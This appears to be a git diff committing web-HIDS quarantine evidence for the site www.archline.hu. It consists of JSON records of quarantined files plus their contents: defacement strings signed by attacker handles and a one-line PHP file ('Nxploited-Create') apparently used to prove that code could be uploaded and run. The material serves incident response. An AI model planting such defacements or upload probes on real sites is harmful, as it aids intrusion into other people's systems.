"original_sha256": "03abfd5cc3cec405dfaa3212fa98caa91d6b35de404f09b2f73306a8b168ce07",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784107232,
|
||||||
|
"size": 33,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/nxproof.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
hacked by trenggalek6etar
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2971",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/cox.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/cox.json)",
|
||||||
|
"original_sha256": "d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784067660,
|
||||||
|
"size": 25,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/shaper_helix3/cox.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
Hacked By Antonkill
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3020",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/5ce342d1feeb3297_xri6l4eq.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/5ce342d1feeb3297_xri6l4eq.json)",
|
||||||
|
"original_sha256": "daa11113fabe2e019bb552e38bfb61f31693f72afddb089aa9a1ef828a6c1b87",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783941741,
|
||||||
|
"size": 19,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/shaper_helix3/layout/5ce342d1feeb3297_xri6l4eq.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
hacked by magelang6etar
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3009",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/6etar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/6etar.json)",
|
||||||
|
"original_sha256": "b08c178a26f6a90bb8841fad0256851cbb899b2dbaa87d53555c5d8eeb6be8fc",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783951911,
|
||||||
|
"size": 23,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/shaper_helix3/layout/6etar.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
Hacked By Antonkill
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3004",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/8a38e129e76e80ff_d3h48ag1.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/8a38e129e76e80ff_d3h48ag1.json)",
|
||||||
|
"original_sha256": "daa11113fabe2e019bb552e38bfb61f31693f72afddb089aa9a1ef828a6c1b87",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783941787,
|
||||||
|
"size": 19,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/shaper_helix3/layout/8a38e129e76e80ff_d3h48ag1.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
Hacked By Antonkill
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3005",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/9cb22468b5254cb4_zaaafntq.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/9cb22468b5254cb4_zaaafntq.json)",
|
||||||
|
"original_sha256": "daa11113fabe2e019bb552e38bfb61f31693f72afddb089aa9a1ef828a6c1b87",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783942351,
|
||||||
|
"size": 19,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/shaper_helix3/layout/9cb22468b5254cb4_zaaafntq.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
hacked by trenggalek6etar
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3006",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/cox.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/cox.json)",
|
||||||
|
"original_sha256": "d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784067652,
|
||||||
|
"size": 25,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/shaper_helix3/layout/cox.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "Nxploited-Create"; ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3033",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/nxproof.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/nxproof.php.json)",
|
||||||
|
"original_sha256": "03abfd5cc3cec405dfaa3212fa98caa91d6b35de404f09b2f73306a8b168ce07",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784107233,
|
||||||
|
"size": 33,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/shaper_helix3/layout/nxproof.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "Nxploited-Create"; ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2993",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/nxproof.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/nxproof.php.json)",
|
||||||
|
"original_sha256": "03abfd5cc3cec405dfaa3212fa98caa91d6b35de404f09b2f73306a8b168ce07",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784107232,
|
||||||
|
"size": 33,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/shaper_helix3/nxproof.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
162
var/www/hosting/archline.hu/www/templates/system/links.db
Normal file
162
var/www/hosting/archline.hu/www/templates/system/links.db
Normal file
File diff suppressed because one or more lines are too long
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2963",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/system/links.db -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/system/links.db)",
|
||||||
|
"original_sha256": "608ecdd9805e09f7af9cf2e44cb4399657b835f6e27e49bb75d7740950798d31",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1641380267,
|
||||||
|
"size": 23687,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/system/links.db",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
162
var/www/hosting/archline.hu/www/templates/system/links_old.db
Normal file
162
var/www/hosting/archline.hu/www/templates/system/links_old.db
Normal file
File diff suppressed because one or more lines are too long
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2962",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/system/links_old.db -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/system/links_old.db)",
|
||||||
|
"original_sha256": "608ecdd9805e09f7af9cf2e44cb4399657b835f6e27e49bb75d7740950798d31",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1641364535,
|
||||||
|
"size": 23687,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/system/links_old.db",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archline.hu/www/tmp/cox.json
Normal file
1
var/www/hosting/archline.hu/www/tmp/cox.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
hacked by trenggalek6etar
|
||||||
15
var/www/hosting/archline.hu/www/tmp/cox.json.evidence.json
Normal file
15
var/www/hosting/archline.hu/www/tmp/cox.json.evidence.json
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3540",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:tmp/cox.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/cox.json)",
|
||||||
|
"original_sha256": "d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784067659,
|
||||||
|
"size": 25,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "tmp/cox.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user